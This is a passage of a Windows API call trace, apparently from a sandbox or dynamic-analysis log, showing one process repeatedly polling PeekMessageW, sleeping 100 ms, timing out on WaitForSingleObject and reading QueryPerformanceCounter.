wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0096.571] Sleep (dwMilliseconds=0x64) [0096.679] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0096.679] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=593932863) returned 1 [0096.679] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=593933047) returned 1 [0096.680] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0096.680] Sleep (dwMilliseconds=0x64) [0096.790] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0096.790] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=594310623) returned 1 [0096.790] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=594310795) returned 1 [0096.790] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0096.790] Sleep (dwMilliseconds=0x64) [0096.898] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0096.898] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=594679047) returned 1 [0096.898] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=594679216) returned 1 [0096.898] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0096.898] Sleep (dwMilliseconds=0x64) [0097.006] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0097.006] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=595050296) returned 1 [0097.006] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=595050435) returned 1 [0097.006] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0097.007] Sleep (dwMilliseconds=0x64) [0097.123] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0097.123] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=595449171) returned 1 [0097.123] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=595449358) returned 1 [0097.123] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0097.124] Sleep (dwMilliseconds=0x64) [0097.225] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0097.225] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=595798842) returned 1 [0097.225] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=595799021) returned 1 [0097.225] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0097.226] Sleep (dwMilliseconds=0x64) [0097.359] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0097.359] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=596256241) returned 1 [0097.359] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=596256453) returned 1 [0097.359] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0097.359] Sleep (dwMilliseconds=0x64) [0097.459] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0097.459] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=596598417) returned 1 [0097.459] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=596598589) returned 1 [0097.459] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0097.460] Sleep (dwMilliseconds=0x64) [0097.568] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0097.569] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=596971835) returned 1 [0097.569] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=596971987) returned 1 [0097.569] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0097.569] Sleep (dwMilliseconds=0x64) [0097.678] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0097.678] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=597345094) returned 1 [0097.678] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=597345270) returned 1 [0097.678] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0097.678] Sleep (dwMilliseconds=0x64) [0097.787] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0097.787] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=597717318) returned 1 [0097.787] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=597717499) returned 1 [0097.787] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0097.787] Sleep (dwMilliseconds=0x64) [0097.958] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0097.958] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=598304122) returned 1 [0097.958] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=598304221) returned 1 [0097.958] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0097.958] Sleep (dwMilliseconds=0x64) [0098.074] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0098.074] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=598700124) returned 1 [0098.074] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=598700306) returned 1 [0098.074] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0098.074] Sleep (dwMilliseconds=0x64) [0098.177] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0098.177] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=599050273) returned 1 [0098.177] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=599050437) returned 1 [0098.177] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0098.177] Sleep (dwMilliseconds=0x64) [0098.286] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0098.286] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=599425593) returned 1 [0098.286] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=599425780) returned 1 [0098.287] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0098.287] Sleep (dwMilliseconds=0x64) [0098.395] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0098.395] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=599796666) returned 1 [0098.395] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=599796820) returned 1 [0098.395] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0098.395] Sleep (dwMilliseconds=0x64) [0098.505] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0098.505] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=600173458) returned 1 [0098.505] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=600173635) returned 1 [0098.505] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0098.505] Sleep (dwMilliseconds=0x64) [0098.617] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0098.617] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=600554667) returned 1 [0098.617] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=600554835) returned 1 [0098.617] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0098.617] Sleep (dwMilliseconds=0x64) [0098.723] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0098.723] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=600917523) returned 1 [0098.723] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=600917691) returned 1 [0098.723] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0098.723] Sleep (dwMilliseconds=0x64) [0098.832] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0098.832] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=601291668) returned 1 [0098.832] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=601291844) returned 1 [0098.833] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0098.833] Sleep (dwMilliseconds=0x64) [0098.980] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0098.981] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=601798040) returned 1 [0098.981] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=601798175) returned 1 [0098.981] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0098.981] Sleep (dwMilliseconds=0x64) [0099.081] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0099.081] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=602141718) returned 1 [0099.081] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=602141818) returned 1 [0099.081] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0099.081] Sleep (dwMilliseconds=0x64) [0099.205] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0099.205] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=602566121) returned 1 [0099.205] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=602566310) returned 1 [0099.205] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0099.206] Sleep (dwMilliseconds=0x64) [0099.370] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0099.370] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=603128038) returned 1 [0099.370] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=603128190) returned 1 [0099.370] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0099.370] Sleep (dwMilliseconds=0x64) [0099.471] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0099.471] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=603474880) returned 1 [0099.471] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=603475133) returned 1 [0099.471] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0099.471] Sleep (dwMilliseconds=0x64) [0099.588] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0099.589] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=603876061) returned 1 [0099.589] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=603876166) returned 1 [0099.589] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0099.589] Sleep (dwMilliseconds=0x64) [0099.690] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0099.690] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=604222139) returned 1 [0099.690] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=604222236) returned 1 [0099.690] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0099.690] Sleep (dwMilliseconds=0x64) [0099.799] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0099.799] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=604596812) returned 1 [0099.799] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=604596997) returned 1 [0099.800] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0099.800] Sleep (dwMilliseconds=0x64) [0099.908] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0099.909] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=604969940) returned 1 [0099.909] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=604970118) returned 1 [0099.909] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0099.909] Sleep (dwMilliseconds=0x64) [0100.018] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0100.018] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=605344225) returned 1 [0100.018] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=605344412) returned 1 [0100.018] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0100.018] Sleep (dwMilliseconds=0x64) [0100.127] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0100.127] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=605716678) returned 1 [0100.127] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=605716854) returned 1 [0100.127] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0100.127] Sleep (dwMilliseconds=0x64) [0100.236] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0100.236] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=606089612) returned 1 [0100.236] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=606089776) returned 1 [0100.236] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0100.236] Sleep (dwMilliseconds=0x64) [0100.362] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0100.362] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=606518797) returned 1 [0100.362] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=606518968) returned 1 [0100.362] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0100.362] Sleep (dwMilliseconds=0x64) [0100.471] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0100.471] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=606891971) returned 1 [0100.471] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=606892117) returned 1 [0100.471] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0100.471] Sleep (dwMilliseconds=0x64) [0100.579] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0100.579] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=607262653) returned 1 [0100.579] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=607262821) returned 1 [0100.579] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0100.580] Sleep (dwMilliseconds=0x64) [0100.689] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0100.689] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=607636311) returned 1 [0100.689] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=607636489) returned 1 [0100.689] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0100.689] Sleep (dwMilliseconds=0x64) [0100.797] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0100.797] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=608008119) returned 1 [0100.797] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=608008297) returned 1 [0100.798] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0100.798] Sleep (dwMilliseconds=0x64) [0100.916] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0100.916] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=608412710) returned 1 [0100.916] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=608412842) returned 1 [0100.916] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0100.916] Sleep (dwMilliseconds=0x64) [0101.016] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0101.016] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=608754337) returned 1 [0101.016] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=608754530) returned 1 [0101.016] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0101.016] Sleep (dwMilliseconds=0x64) [0101.125] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0101.125] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=609128234) returned 1 [0101.125] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=609128411) returned 1 [0101.125] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0101.125] Sleep (dwMilliseconds=0x64) [0101.234] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0101.234] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=609501105) returned 1 [0101.234] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=609501284) returned 1 [0101.234] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0101.235] Sleep (dwMilliseconds=0x64) [0101.358] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0101.358] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=609923272) returned 1 [0101.358] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=609923444) returned 1 [0101.358] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0101.358] Sleep (dwMilliseconds=0x64) [0101.452] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0101.452] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=610246380) returned 1 [0101.452] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=610246534) returned 1 [0101.452] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0101.453] Sleep (dwMilliseconds=0x64) [0101.562] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0101.562] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=610622773) returned 1 [0101.562] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=610622929) returned 1 [0101.563] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0101.563] Sleep (dwMilliseconds=0x64) [0101.671] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0101.671] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=610992906) returned 1 [0101.671] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=610993095) returned 1 [0101.671] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0101.671] Sleep (dwMilliseconds=0x64) [0101.804] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0101.805] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=611450396) returned 1 [0101.805] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=611450563) returned 1 [0101.805] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0101.805] Sleep (dwMilliseconds=0x64) [0101.906] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0101.906] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=611796317) returned 1 [0101.906] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=611796501) returned 1 [0101.906] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0101.906] Sleep (dwMilliseconds=0x64) [0102.015] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0102.015] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=612169985) returned 1 [0102.015] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=612170175) returned 1 [0102.015] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0102.015] Sleep (dwMilliseconds=0x64) [0102.124] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0102.124] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=612543703) returned 1 [0102.124] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=612543888) returned 1 [0102.125] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0102.125] Sleep (dwMilliseconds=0x64) [0102.233] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0102.233] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=612914745) returned 1 [0102.233] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=612914930) returned 1 [0102.233] PeekMessageW (in: lpMsg=0x2df914, 